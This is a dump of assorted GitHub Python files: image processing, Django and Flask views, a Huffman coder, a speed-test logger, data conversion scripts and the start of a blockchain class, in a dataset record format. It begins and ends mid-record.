print(*s)\n","repo_name":"wtoth/Hash-Join","sub_path":"workingJoin.py","file_name":"workingJoin.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27979969291","text":"import cv2\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport os\r\nimport math\r\nfrom scipy import signal\r\n\r\ncwd = os.getcwd()\r\nimage_dir = os.path.join(cwd, 't')\r\ndir_name = 't'\r\nlist = []\r\nfor (_, _, files) in os.walk(image_dir):\r\n for file in files:\r\n\r\n original_color = cv2.imread(dir_name + '/' + file)\r\n h, w, c = original_color.shape\r\n original = cv2.imread(dir_name + '/' + file, 0)\r\n rt, binary = cv2.threshold(original, 110, 255, cv2.THRESH_BINARY_INV)\r\n med = cv2.medianBlur(binary, 5)\r\n\r\n kernel = np.ones((11, 11), np.uint8)\r\n\r\n circles = cv2.HoughCircles(med, cv2.HOUGH_GRADIENT, 1, 20,\r\n param1=50, param2=30, minRadius=int(min(h,w) / 4), maxRadius=min(h, w))\r\n\r\n\r\n if circles is not None:\r\n\r\n #ori = cv2.cvtColor(original_color,cv2.COLOR_BGR2RGB)\r\n #plt.imshow(ori)\r\n #plt.show()\r\n\r\n original_final = cv2.imread(dir_name + '/' + file)\r\n circles = np.uint16(np.around(circles))\r\n x = 0\r\n y = 0\r\n r = 0\r\n cnt = 0\r\n for i in circles[0, :]:\r\n x += i[0]\r\n y += i[1]\r\n r += i[2]\r\n cnt += 1\r\n cv2.circle(original_color, (i[0], i[1]), i[2], (0, 255, 0), 2)\r\n cv2.circle(original_color, (i[0], i[1]), 2, (0, 0, 255))\r\n\r\n x = int(x / cnt)\r\n y = int(y / cnt)\r\n r = int(r / cnt)\r\n\r\n cv2.circle(original_color, (x, y), r, (0, 0, 255), 5)\r\n # plt.imshow(original_color)\r\n #plt.show()\r\n\r\n original_final_copy = original_final.copy()\r\n h, w, c = original_final_copy.shape\r\n min_y = max((y - r), 0)\r\n max_y = min((y + r), h)\r\n min_x = max((x - r), 0)\r\n max_x = min((x + r), w)\r\n cropped_image = original_final_copy[min_y: max_y, min_x: max_x]\r\n\r\n hc, wc, cc = cropped_image.shape\r\n for ix in range(hc):\r\n for j in range(wc):\r\n d = math.sqrt((ix - r) * (ix - r) + (j - r) * (j - r))\r\n if d >= r or (cropped_image[ix, j, 0] < 20 and cropped_image[ix, j, 1] < 20 and cropped_image[ix, j, 2] < 20):\r\n cropped_image[ix, j] = [0, 0, 0]\r\n\r\n cv2.circle(original_final, (x, y), r, (0, 0, 255), 5)\r\n\r\n blue = np.average(cropped_image[:, :, 0])\r\n green = np.average(cropped_image[:, :, 1])\r\n red = np.average(cropped_image[:, :, 2])\r\n (means, stds) = cv2.meanStdDev(cropped_image)\r\n list.append([file, stds[0], stds[1], stds[2]])\r\n #print(red,blue,green)\r\n if red < blue or red < green:\r\n print(\"red 40:\r\n print(\"stds>40\")\r\n #continue\r\n\r\n\r\n #ori = cv2.cvtColor(cropped_image, cv2.COLOR_BGR2RGB)\r\n #plt.imshow(ori)\r\n #plt.show()\r\n opt_img = cropped_image.copy()\r\n gray_img = cv2.cvtColor(opt_img, cv2.COLOR_BGR2GRAY)\r\n maxi_pixel = np.max(gray_img)\r\n ret, th = cv2.threshold(gray_img, maxi_pixel - maxi_pixel * 0.02, 255, cv2.THRESH_BINARY)\r\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (7, 7))\r\n hi_mask = cv2.dilate(th, kernel, iterations=3)\r\n specular = cv2.inpaint(cropped_image, hi_mask, 2, flags=cv2.INPAINT_TELEA)\r\n\r\n #ori = cv2.cvtColor(specular, cv2.COLOR_BGR2RGB)\r\n #plt.imshow(ori)\r\n #plt.show()\r\n\r\n rgb_img = specular.copy()\r\n green_img = rgb_img.copy()\r\n green_img[:, :, 0] = 0\r\n green_img[:, :, 2] = 0\r\n\r\n Y_img = cv2.cvtColor(green_img, cv2.COLOR_RGB2YCrCb)\r\n Y_img[:, :, 2] = 0\r\n Y_img[:, :, 1] = 0\r\n Y_img = cv2.cvtColor(Y_img, cv2.COLOR_YCrCb2RGB)\r\n Y_img = cv2.cvtColor(Y_img, cv2.COLOR_RGB2GRAY)\r\n maxi = np.max(Y_img)\r\n mini = np.min(Y_img)\r\n\r\n for i in range(Y_img.shape[0]):\r\n for j in range(Y_img.shape[1]):\r\n pixel = Y_img[i, j]\r\n Y_img[i, j] = ((pixel - mini) / (maxi - mini)) * 255\r\n\r\n H = []\r\n H.append([[5, -3, -3], [5, 0, -3], [5, -3, -3]])\r\n H.append([[-3, -3, 5], [-3, 0, 5], [-3, -3, 5]])\r\n H.append([[-3, -3, -3], [5, 0, -3], [5, 5, -3]])\r\n H.append([[-3, 5, 5], [-3, 0, 5], [-3, -3, -3]])\r\n H.append([[-3, -3, -3], [-3, 0, -3], [5, 5, 5]])\r\n H.append([[5, 5, 5], [-3, 0, -3], [-3, -3, -3]])\r\n H.append([[-3, -3, -3], [-3, 0, 5], [-3, 5, 5]])\r\n H.append([[5, 5, -3], [5, 0, -3], [-3, -3, -3]])\r\n\r\n H = np.array(H)\r\n gradient = []\r\n\r\n for i in range(8):\r\n grad = signal.convolve2d(Y_img, H[i], fillvalue=1)\r\n gradient.append(grad)\r\n\r\n gradient = np.array(gradient)\r\n final_grad = []\r\n\r\n for i in range(Y_img.shape[0]):\r\n a = []\r\n for j in range(Y_img.shape[1]):\r\n maxi = -9999\r\n for p in range(8):\r\n if gradient[p][i][j] > maxi:\r\n maxi = gradient[p][i][j]\r\n a.append(maxi)\r\n final_grad.append(a)\r\n\r\n final_grad = np.array(final_grad)\r\n\r\n temp = Y_img.copy()\r\n\r\n for i in range(Y_img.shape[0]):\r\n for j in range(Y_img.shape[1]):\r\n if (final_grad[i][j] < 80):\r\n temp[i, j] = 0\r\n\r\n rt, binary = cv2.threshold(temp, 160, 255, cv2.THRESH_BINARY)\r\n avg = np.average(binary[:,:])\r\n print(avg)\r\n if (avg < 2) :\r\n continue\r\n print(file)\r\n\r\n cv2.imwrite('o1' + '/' + 'cropped_' + file, cropped_image)\r\n cv2.imwrite('e1' + '/' + 'cropped_enhanced_' + file, specular)\r\n cv2.imwrite('v1' + '/' + 'cropped_enhanced_vein' + file, temp)\r\n\r\n\r\nwith open('result.txt', 'w') as f:\r\n f.write('filename,x,y,r\\n')\r\n for res in list:\r\n f.write(res[0] + ',' + str(res[1]) + ',' + str(res[2]) + ',' + str(res[3]) + '\\n')\r\nf.close()\r\n\r\nprint()\r\nprint()\r\nprint('result stored in file====>result.txt')\r\nprint()\r\n","repo_name":"Utsho/fundus_image_enhancement","sub_path":"mahathir.py","file_name":"mahathir.py","file_ext":"py","file_size_in_byte":6626,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"72165084998","text":"from .forms import CommentForm\nfrom django.views.generic.edit import FormView\nfrom django.http import HttpResponseRedirect\nfrom django.contrib.auth import get_user_model\nfrom django import forms\n\nfrom .models import Comment\nfrom members.models import Article\n\nclass CommentPostView(FormView):\n form_class = CommentForm\n template_name = 'members/article.html'\n\n def get(self, request, *args, **kwargs):\n article_id = self.kwargs['article_id']\n\n article = Article.objects.get(pk=article_id)\n url = article.get_absolute_url()\n return HttpResponseRedirect(url + \"#comments\")\n\n def form_invalid(self, form):\n import pdb;pdb.set_trace()\n article_id = self.kwargs['article_id']\n article = Article.objects.get(pk=article_id)\n\n if self.request.user.is_authenticated:\n form.fields.update({\n 'email': forms.CharField(widget=forms.HiddenInput()),\n 'name': forms.CharField(widget=forms.HiddenInput()),\n })\n user = self.request.user\n form.fields[\"email\"].initial = user.email\n form.fields[\"name\"].initial = user.username\n\n return self.render_to_response({\n 'form': form,\n 'article': article\n })\n\n def form_valid(self, form):\n \"\"\"提交的数据验证合法后的逻辑\"\"\"\n user = self.request.user\n if not user.is_authenticated:\n ### 要要求先登录\n pass\n # import pdb;pdb.set_trace()\n\n article_id = self.kwargs['article_id']\n article = Article.objects.get(pk=article_id)\n comment = form.save(False)\n comment.article = article\n\n comment.account = user\n\n if form.cleaned_data['parent_comment_id']:\n parent_comment = Comment.objects.get(pk=form.cleaned_data['parent_comment_id'])\n comment.parent_comment = parent_comment\n\n comment.save(True)\n return HttpResponseRedirect(\"%s#div-comment-%d\" % (article.get_absolute_url(), comment.pk))\n","repo_name":"boyunli/deformaldehyde","sub_path":"src/deformaldehyde/comments/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28185953434","text":"from tkinter import Frame, Entry, Label,Button\r\nfrom tkinter import filedialog\r\nimport pickle\r\nfrom main.gui.Utilities.Settings import Settings\r\n\r\n'''\r\nDisplays results of a clustering algorithm\r\n'''\r\nclass ClusteringAlgorithmResultsFrame(Frame):\r\n def __init__(self, parent, res):\r\n Frame.__init__(self, master=parent, bg=Settings.BACKGROUND_COLOR.value)\r\n self.result = res\r\n self.addHeader()\r\n self.addParameters()\r\n self.addStatistics()\r\n self.addPickleBtn()\r\n\r\n def addHeader(self):\r\n algName = Label(master=self, bg=Settings.BACKGROUND_COLOR.value, text=self.result.get(\"Algorithm\"))\r\n algName.pack()\r\n\r\n def addParameters(self):\r\n model = self.result.get(\"Model\")\r\n paramsOutput = \"\"\r\n paramsDict = self.result.get(\"Params\")\r\n for param in paramsDict.keys():\r\n paramsOutput += param + \" = \" + str(paramsDict[param]) + \"\\n\"\r\n params = Label(master=self, bg=Settings.BACKGROUND_COLOR.value,\r\n text=\"Parameters:\\n\" + paramsOutput\r\n )\r\n params.pack()\r\n\r\n def addStatistics(self):\r\n accuracyLabel = Label(master=self, bg=Settings.BACKGROUND_COLOR.value,\r\n text=\"Accuracy: \" + str(self.result.get(\"Statistics\").get(\"Accuracy\")))\r\n accuracyLabel.pack()\r\n\r\n def addPickleBtn(self):\r\n pickleModelBtn = Button(self, text='Pickle Model', width= 15, bg=Settings.GOOD_BUTTON_COLOR.value, command=lambda : self.pickleModel())\r\n pickleModelBtn.pack()\r\n\r\n def pickleModel(self):\r\n fileToPickleTo = filedialog.asksaveasfile(mode='wb', defaultextension=\".MLModel\")\r\n if fileToPickleTo != None:\r\n pickle.dump(self.result.get(\"Model\"), fileToPickleTo)\r\n fileToPickleTo.close()\r\n","repo_name":"MattScho/MLUI","sub_path":"main/gui/Frames/ClusteringResultsFrame.py","file_name":"ClusteringResultsFrame.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"3235980164","text":"# -*- coding: utf-8 -*-\nfrom sklearn.preprocessing import StandardScaler\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\n\n\n# サンプルデータを読み込み\ndf_wine = pd.read_csv('df_wine.csv')\n\n# 特徴量とクラスラベルを別々に抽出\nX, y = df_wine.iloc[:, 1:].values, df_wine.iloc[:, 0].values\n\n# 訓練データとテストデータに分割(全体の30%をテストデータにする)\nX_train, X_test, y_train, y_test = \\\n train_test_split(X, y, test_size=0.3, random_state=0, stratify=y)\n\n\n# 標準化のインスタンスを生成(平均=0、標準偏差=1に変換)\nstdsc = StandardScaler()\n\nX_train_std = stdsc.fit_transform(X_train)\nX_test_std = stdsc.transform(X_test)\n","repo_name":"mkomatsu-0223/Study_Machine-Learning","sub_path":"Chapter4/4.4-3_python.py","file_name":"4.4-3_python.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6154076098","text":"from math import pi\r\nimport speedtest\r\nimport time\r\nimport datetime\r\nfrom pythonping import ping\r\nimport csv\r\n\r\n\r\ns = speedtest.Speedtest()\r\n\r\n\r\nwith open('text.csv',mode='w') as speedcsv:\r\n csv_writer = csv.DictWriter(speedcsv,fieldnames=['time','downspeed','upspeed','ping'])\r\n csv_writer.writeheader()\r\n while True:\r\n\r\n time_now = datetime.datetime.now().strftime(\"%H:%M:%S\")\r\n downspeed = round((round(s.download())/1048576),2)\r\n upspeed = round((round(s.upload())/1048576),2)\r\n print(f'time: {time_now}, downspeed : {downspeed} Mb/s, upspeed : {upspeed} Mb/s')\r\n png = ping('www.google.com', verbose=True)\r\n\r\n csv_writer.writerow({\r\n 'time':time_now,\r\n 'downspeed':downspeed,\r\n 'upspeed':upspeed,\r\n 'ping': png\r\n })\r\n time.sleep(5)\r\n\r\n","repo_name":"Dmast00/InternetConnection-Ping","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"9513404588","text":"import json\nimport os\n\nresPath = \"cases.json\"\n# outputPath = \"langAnalysis.json\"\npyPercentPath = \"pyPercent.json\"\n# typePath=\"type.json\"\ndir_name = \"cases\"\nf = open(resPath, encoding='utf-8')\n# outputFile = open(outputPath, \"w\", encoding='utf-8')\npyPercentFile = open(pyPercentPath, \"w\", encoding='utf-8')\n# typeFile=open(typePath,\"w\",encoding='utf-8')\nres = f.read()\ndata = json.loads(res)\nresult_dict = {}\npyPercent_dict = {}\ntype_dict={}\nno_py_count = 0\nfor case in data:\n print(case)\n result_dict.setdefault(case, {\"case_id\": int(case)})\n case_dict = result_dict[case]\n case_dict[\"case_num\"] = 0\n case_dict[\"languages\"] = {}\n case_dir_str = os.path.join(dir_name, case)\n result_dir_str = os.path.join(case_dir_str, \"results\")\n result_dir = os.listdir(result_dir_str)\n for result in result_dir:\n result_str = os.path.join(result_dir_str, result)\n if os.path.isdir(result_str):\n properties_str = os.path.join(result_str, \"properties\")\n properties_file = open(properties_str, encoding='utf-8')\n properties_json = json.loads(properties_file.read())\n lang = properties_json[\"lang\"]\n if lang not in case_dict[\"languages\"]:\n lang_count = 1\n else:\n lang_count = case_dict[\"languages\"][lang] + 1\n case_dict[\"languages\"][lang] = lang_count\n case_dict[\"case_num\"] = case_dict[\"case_num\"] + 1\n\n py_count = 0\n for language in case_dict[\"languages\"]:\n if language == \"Python3\" or language == \"Python\":\n py_count = py_count + case_dict[\"languages\"][language]\n else:\n no_py_count = no_py_count + case_dict[\"languages\"][language]\n py_percent = py_count / case_dict[\"case_num\"]\n case_dict[\"py_percent\"] = py_percent\n pyPercent_dict.setdefault(case, py_percent)\n\n type_dict[case]=data[case][\"user_records\"][0][\"case_type\"]\nresult_dict.setdefault(\"not_py_count\", no_py_count)\n\njson.dump(pyPercent_dict,pyPercentFile,sort_keys=True)\n","repo_name":"luoxuanzao/DataScience","sub_path":"langAnalysis.py","file_name":"langAnalysis.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"31977129219","text":"import operator\n\ndef create_huffman_code(alphabet, distribution):\n alphabet = alphabet.lower()\n dictionary = { alphabet[i]:distribution[i] for i in range(len(alphabet))}\n\n sequence = [dictionary]\n\n while len(dictionary) > 2:\n dictionary = manage_dictionary(dictionary)\n sequence.insert(0,dictionary)\n\n #print(sequence)\n \n step = sorted(sequence.pop(0).items(),reverse=True,key=lambda item: item[1])\n children_entries = tuple(symbol for symbol,_ in step)\n coding = {'0':children_entries[0], '1': children_entries[1]}\n\n while len(sequence) > 0:\n #print(step)\n step = sorted(sequence.pop(0).items(),reverse=True,key=lambda item: item[1])\n children_entries = tuple((symbol,probability) for symbol,probability in step if symbol not in coding.values())\n if children_entries[0][1] == children_entries [1][1]:\n children_entries = sorted(children_entries,reverse=True, key= lambda item: len(item[0]))\n #print(children_entries)\n parent_entry_code = next(iter([code for code,key in coding.items() if children_entries[0][0] in tuple(key)]))\n \n if children_entries[0][1] == children_entries[1][1]:\n coding[parent_entry_code+'0'] = children_entries[0][0] if len(children_entries[0][0])`’0123456789\"]).replace(' ','')\n print(f'Cleaned original text: {text}')\n return ''.join([code_dictionary[letter] for letter in text])\n\ndef decode(encoded_text, code_dictionary):\n dictionary = {v:k for k,v in code_dictionary.items()}\n min_codeword_length = min([len(codeword) for codeword in dictionary])\n\n decoded_text = ''\n start, end = 0, min_codeword_length \n while end <= len(encoded_text):\n if encoded_text[start:end] in dictionary.keys():\n decoded_text += dictionary[encoded_text[start:end]]\n start = end\n end = start + min_codeword_length\n else:\n end += 1\n\n return decoded_text \n\n\ndef main():\n alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n distribution = [0.08167, 0.01492, 0.02782, 0.04253, 0.12702, 0.02228, 0.02015, 0.06094, 0.06966, 0.00153, 0.00772,0.04025, 0.02406, 0.06749, 0.07507, 0.01929, 0.00095, 0.05987, 0.06327, 0.09056, 0.02758,0.00978, 0.02360, 0.00150, 0.01974, 0.00074]\n #alphabet = 'ABCDEFGH'\n #distribution = [0.025,0.025,0.05,0.1,0.13,0.17,0.25,0.25]\n code = create_huffman_code(alphabet, distribution)\n print(code)\n\n print('Please insert a string with no accent in it')\n text = input()\n\n encoded_text = encode(text, code)\n print(f'Encoded text: {encoded_text}')\n\n decoded_text = decode(encoded_text, code)\n print(f'Decoded text: {decoded_text}')\n\n\n \n\nif __name__ == \"__main__\":\n main()\n","repo_name":"HJuls2/DSP-exercises","sub_path":"SET-3/src/huffman-code.py","file_name":"huffman-code.py","file_ext":"py","file_size_in_byte":3697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39250582397","text":"import Data_extraction\nfrom Data_extraction import *\nimport sys\nfrom Data_extraction import *\nfrom read_binary import *\n\n## notice: before using this file, since it imports the read_binary module, which includes the part \"im_fpath = sys.argv[1]\", search\n# on Google about the usage of \"sys.argy\", which will be used in the cmd(windows) or others in other systems.\n# This script is based on the module of \"read_binary\"\n\ndef A3d2Mat(filepath, dirpath):\n # Convert the '.a3d' file to the npy file that can be read by MATLAB\n data_obj = data_divide(filepath)\n # save data files -- from '.a3d' to '.npy' file\n num_files = input('The number of files is')\n for i in range(int(num_files)):\n datapath = filepath + data_obj.name[i*2] + '.a3d'\n print(i)\n data = read_data(datapath)\n savepath = dirpath + data_obj.name[i*2]\n np.save(savepath, data)\n return data_obj\n\n#def Getcsv(filepath):\n\ndef main():\n #change 1: add the path to the directory of the code\n sys.path.append('C:/Users/maguangshen/PycharmProjects/TSA_Classification-segAndCube/Kaggle_Label/')\n #change 2: change the filepath to the directory that you save all the npy data\n filepath = 'G:/Kaggle_a3d/' ## change this by user -- the dir that you use for the original data\n #change 3: Create a new directory and change the 'dirpath' to the new directory\n dirpath = 'G:/Kaggle_npy/' ## change this by user -- the dir that you save the data to\n #First:Get the csv files\n obj = data_divide(filepath)\n name_array = obj.name\n label_array = obj.label\n zone_array = obj.zone\n ## Notice, this is based on python 3.6, look for the tutorial for input and output of csv.file if for other version\n # Problem: not working for python 2.7\n # change 4: change the name 'example' and the path directory as you want\n with open('C:/Users/maguangshen/PycharmProjects/TSA_Classification-segAndCube/Kaggle_Label/KaggleLabel.csv','w') as csvfile:\n spamwriter = csv.writer(csvfile, delimiter=',',\n quotechar='|', quoting=csv.QUOTE_MINIMAL)\n spamwriter.writerow(name_array)\n spamwriter.writerow(label_array)\n spamwriter.writerow(zone_array)\n data_obj = A3d2Mat(filepath, dirpath)\n\nif __name__ == '__main__':\n main()\n","repo_name":"ljc19800331/HW_Python","sub_path":"ECE590_classification-master/Kaggle_Label/Data_a3d.py","file_name":"Data_a3d.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16900846609","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('jobs', '0014_scenario_hazard_results_location'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='scenario_hazard_results',\n name='sa_damping',\n field=models.IntegerField(null=True),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='scenario_hazard_results',\n name='sa_period',\n field=models.FloatField(null=True),\n preserve_default=True,\n ),\n ]\n","repo_name":"ruimsbarros08/risco","sub_path":"riscoplatform/jobs/migrations/0015_auto_20150128_1451.py","file_name":"0015_auto_20150128_1451.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"17303924280","text":"def res(a,b):#using integer\r\n g=a\r\n while(a!=0):\r\n r=a%10\r\n if(r==b):\r\n f=1\r\n break\r\n else:\r\n f=0\r\n a=int(a/10)\r\n if(f==1):\r\n return g\r\n else:\r\n return -1\r\ndef abc(c,z):\r\n p=0\r\n for i in range(1,c):\r\n d=res(i,z)\r\n if(d!=-1):\r\n print(d,end=\" \")\r\n p=1\r\n return p\r\n \r\nn=int(input())\r\nlis=[]\r\nfor l in range(n):\r\n a,b=map(int,input().split())\r\n lis.append(a)\r\n lis.append(b)\r\nn=n+n\r\nfor l in range(0,n,2):\r\n y=lis[l]+1\r\n z=lis[l+1]\r\n q=abc(y,z)\r\n if(q!=1):\r\n print('-1')\r\n \r\n \r\n","repo_name":"EktaArora1/ProgramsToStudy","sub_path":"3rd year lab/no.py","file_name":"no.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"72003947397","text":"import re\r\nfrom flask import Blueprint, jsonify, request, Response, json\r\nfrom bson.objectid import ObjectId\r\nfrom bson.json_util import dumps\r\nfrom pymongo import MongoClient\r\nimport logging as log\r\nimport sys\r\nfrom datetime import datetime\r\n\r\nschedule_blueprint = Blueprint('schedule_blueprint', __name__)\r\n\r\nclient = MongoClient(\"mongodb://localhost:27017\")\r\ndb = client[\"baymax\"]\r\n\r\n@schedule_blueprint.route('/schedule', methods=['POST'])\r\ndef add_schedule():\r\n body = request.json\r\n\r\n dataDict = {\r\n \"doctor_id\": ObjectId(body['doctor_id']),\r\n \"business_hour\": {\r\n \"start_time\": body['start_time'],\r\n \"end_time\": body['end_time']\r\n },\r\n \"duration\": body['duration']\r\n }\r\n try:\r\n db['schedules'].insert_one(dataDict)\r\n except KeyError:\r\n return Response(response=json.dumps({\"Status\": \"Insufficient Data\"}), status=200, mimetype='application/json') \r\n\r\n return Response(response=dumps(dataDict), status=200, mimetype='application/json')\r\n \r\n\r\n\r\n@schedule_blueprint.route('/schedule/', methods=['GET'])\r\ndef get_schedule(id):\r\n res = db['schedules'].aggregate( \r\n [\r\n {\r\n \"$match\": { \"doctor_id\": ObjectId(id)}\r\n },\r\n {\r\n '$lookup': {\r\n 'from': 'users', \r\n 'localField': 'doctor_id', \r\n 'foreignField': '_id', \r\n 'as': 'user'\r\n }\r\n },\r\n {\r\n '$lookup': {\r\n 'from': 'doctors', \r\n 'localField': 'doctor_id', \r\n 'foreignField': '_id', \r\n 'as': 'doctor'\r\n }\r\n }\r\n ]\r\n ) \r\n\r\n return Response(response=dumps(res), status=200, mimetype=\"application/json\")\r\n\r\n\r\n\r\n@schedule_blueprint.route('/schedule/', methods=['PUT'])\r\ndef update_schedule(id):\r\n body = request.json\r\n \r\n dataDict = {\r\n \"doctor_id\": ObjectId(body['doctor_id']),\r\n \"business_hour\": {\r\n \"start_time\": body['start_time'],\r\n \"end_time\": body['end_time']\r\n },\r\n \"duration\": body['duration']\r\n }\r\n try:\r\n db['schedules'].update_one({\"doctor_id\": ObjectId(id) },{\r\n \"$set\": { dataDict }\r\n })\r\n except KeyError:\r\n return Response(response=json.dumps({\"Status\": \"Insufficient Data\"}), status=200, mimetype='application/json') \r\n\r\n return Response(response=dumps(dataDict), status=200, mimetype='application/json')\r\n \r\n\r\n@schedule_blueprint.route('/schedule/', methods=['DELETE'])\r\ndef delete_schedule(id):\r\n\r\n data = db[\"schedules\"].find_one_and_delete({\"doctor_id\": ObjectId(id)})\r\n\r\n if bool(data): \r\n return Response(response=json.dumps({\"Status\": \"Record has been deleted\"}),\r\n status=200,\r\n mimetype='application/json')\r\n else:\r\n return Response(response=json.dumps({\"Status\": \"Record has been deleted\"}),\r\n status=200,\r\n mimetype='application/json') ","repo_name":"siddharthsurelia/baymax-backend","sub_path":"schedule.py","file_name":"schedule.py","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"25909869029","text":"import os\nfrom re import A\nimport subprocess\n\ndef main() -> None:\n lsOut = subprocess.run([\"tmux\", \"ls\"], capture_output=True)\n if lsOut.returncode == 1 and str(lsOut.stderr).find(\"no server running\") != -1:\n print(\"Can't find working ANY sessions!\")\n print(\"Start one with folowing command:\")\n print(\" $ tmux new -s pavel\")\n return\n elif lsOut.returncode == 0 and str(lsOut.stdout).find(\"pavel\") == -1:\n print(\"Can't find working session with name pavel!\")\n print(\"Start one with folowing command:\")\n print(\" $ tmux new -s pavel\")\n return\n\n subprocess.run([\"tmux\", \"attach-session\", \"-t\", \"pavel\"])\n\nif __name__ == \"__main__\":\n main()","repo_name":"paveltrpn/note_book","sub_path":"tmux.py","file_name":"tmux.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42987915233","text":"import functools\nimport hashlib\nfrom collections import OrderedDict\nimport json\nimport pickle\nimport requests\nfrom utility.hash_util import hash_block\nfrom utility.verification import Verification\nfrom block import Block\nfrom transaction import Transaction\nfrom wallet import Wallet\n\n\n\n\n# Reward given to miners for creating a new block\nMINING_REWARD = 10\n\nclass Blockchain:\n \"\"\"The Blockchain class manages the chain of blocks as well as open transactions and the node on which it's running.\n\n Attributes:\n :chain: The list of blocks.\n :open_transactions (private): The list of open transactions.\n :public_key: The connected node (which runs the blockchain).\n \n \"\"\"\n def __init__(self, public_key,node_id):\n \"\"\"Constructor of the Blockchain class.\"\"\"\n # Starting block for the blockchain\n genesis_block = Block(0,'',[],100, 0)\n # Initializing empty blockchain list\n self.chain = [genesis_block]\n # Unhandled transactions\n self.__open_transactions = []\n self.public_key = public_key\n self.__peer_nodes = set()\n self.node_id = node_id\n self.resolve_conflicts = False\n self.load_data()\n \n @property\n def chain(self):\n \"\"\"Convert the chain attribute into a property with a getter and setter\"\"\"\n return self.__chain[:]\n \n @chain.setter\n def chain(self, val):\n \"\"\"Setter of chain property\"\"\"\n self.__chain = val\n \n def get_open_transactions(self):\n \"\"\"Returns a copy of the open transactions list.\"\"\"\n return self.__open_transactions[:]\n\n def load_data(self):\n \"\"\"Initialize blockchain + open transactions data from a file.\"\"\"\n try:\n with open('blockchain-{}.txt'.format(self.node_id), mode='r') as f:\n # file_content = pickle.loads(f.read())\n file_content = f.readlines()\n # blockchain = file_content['chain']\n # open_transactions = file_content['ot']\n # # First line is blockchain, Second is transaction data\n blockchain = json.loads(file_content[0][:-1]) #avoid \\n character\n # Need to convert the loaded data because Transactions should use an Ordered Dict\n updated_blockchain = []\n for block in blockchain:\n converted_tx = [Transaction(tx['sender'], tx['recipient'],tx['signature'] , tx['amount']) for tx in block['transactions']]\n \n updated_block = Block(block['index'], block['previous_hash'], converted_tx, block['proof'], block['timestamp'])\n updated_blockchain.append(updated_block)\n \n self.chain = updated_blockchain # access without double underscore to trigger property setter\n open_transactions = json.loads(file_content[1][:-1])\n # Need to convert the loaded data because Transactions should use an Ordered Dict\n updated_transactions = []\n for tx in open_transactions:\n updated_transaction = Transaction(tx['sender'], tx['recipient'],tx['signature'] , tx['amount'])\n updated_transactions.append(updated_transaction)\n self.__open_transactions = updated_transactions\n peer_nodes = json.loads(file_content[2])\n self.__peer_nodes = set(peer_nodes)\n except (IOError, IndexError):\n pass\n\n\n def save_data(self):\n \"\"\"Save Blockchain + open transaction snapshot to a file.\"\"\"\n try:\n with open('blockchain-{}.txt'.format(self.node_id), mode='w') as f:\n saveable_chain = [block.__dict__ for block in [Block(block_el.index, block_el.previous_hash, [tx.__dict__ for tx in block_el.transactions] ,block_el.proof, block_el.timestamp) for block_el in self.__chain]]\n f.write(json.dumps(saveable_chain))\n f.write('\\n')\n saveable_tx = [tx.__dict__ for tx in self.__open_transactions]\n f.write(json.dumps(saveable_tx))\n f.write('\\n')\n f.write(json.dumps(list(self.__peer_nodes)))\n # save_data = {\n # 'chain':blockchain,\n # 'ot': open_transactions\n # }\n # f.write(pickle.dumps(save_data))\n except (IOError, IndexError):\n print('WARNING! Saving Failed!')\n\n\n\n def proof_of_work(self):\n \"\"\"Generate a proof of work for the open transactions, the hash of the previous block and a random number (which is guessed until it fits)\"\"\"\n last_block = self.__chain[-1]\n last_hash = hash_block(last_block)\n proof = 0\n # Try different PoW numbers and return the first valid one\n while not Verification.valid_proof(self.__open_transactions, last_hash, proof):\n proof += 1\n return proof\n\n\n\n def get_balance(self, sender=None):\n \"\"\"Calculate and return the balance for a participant.\n \"\"\"\n if sender is None:\n if self.public_key is None:\n return None\n participant = self.public_key\n else:\n participant = sender\n # Fetch a list of all sent coin amounts for the given person (empty lists are returned if the person was NOT the sender)\n # This fetches sent amounts of transactions that were already included in blocks of the blockchain\n tx_sender = [[tx.amount for tx in block.transactions if tx.sender == participant] for block in self.__chain]\n # Fetch a list of all sent coin amounts for the given person (empty lists are returned if the person was NOT the sender)\n # This fetches sent amounts of open transactions (to avoid double spending)\n open_tx_sender = [tx.amount for tx in self.__open_transactions if tx.sender == participant]\n tx_sender.append(open_tx_sender)\n print(tx_sender)\n # Calculate the total amount of coins sent\n amount_sent = functools.reduce(lambda tx_sum, tx_amt: tx_sum+ 